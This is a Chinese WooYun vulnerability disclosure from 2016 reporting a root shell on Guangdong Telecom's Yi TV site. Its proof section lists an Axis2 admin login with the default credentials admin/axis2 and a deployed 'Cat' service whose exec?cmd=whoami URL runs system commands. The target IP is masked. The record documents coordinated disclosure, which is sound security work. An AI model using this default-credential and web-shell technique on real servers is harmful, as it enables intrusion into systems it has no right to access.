广东电信翼TV主站Getshell(Root权限/影响用户手机安全)

漏洞概要 关注数(8) 关注此漏洞

缺陷编号： WooYun-2016-190026

漏洞标题： 广东电信翼TV主站Getshell(Root权限/影响用户手机安全)

相关厂商： 中国电信

漏洞作者： V1ct0r

提交时间： 2016-03-28 18:00

公开时间： 2016-05-15 14:10

漏洞类型： 服务弱口令

危害等级： 高

自评Rank： 10

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 弱口令

2人收藏

漏洞详情

披露状态：

2016-03-28： 细节已通知厂商并且等待厂商处理中
2016-03-31： 厂商已经确认，细节仅向厂商公开
2016-04-10： 细节向核心白帽子及相关领域专家公开
2016-04-20： 细节向普通白帽子公开
2016-04-30： 细节向实习白帽子公开
2016-05-15： 细节向公众公开

简要描述：

翼TV业务是中国电信广东公司与南方广播影视传媒集团强强联合，面向广东电信天翼手机用户推出的手机电视业务。翼TV依托于中国电信强大的宽带和3G网络，依托南广传媒海量的视频内容及先进的视频处理技术，向用户提供超过50路高品质的视频直播及海量的点播节目。客户端产品还向用户提供视频分享平台，让用户拍摄视频后可实时分享，并同步到各大微博及社区网站。

详细说明：

漏洞证明：

http://**.**.**.**:8080/axis2/axis2-admin/login

admin/axis2

http://**.**.**.**:8080/axis2/services/Cat/

http://**.**.**.**:8080/axis2/services/Cat/exec?cmd=whoami

修复方案：

版权声明：转载请注明来源 V1ct0r@乌云

漏洞回应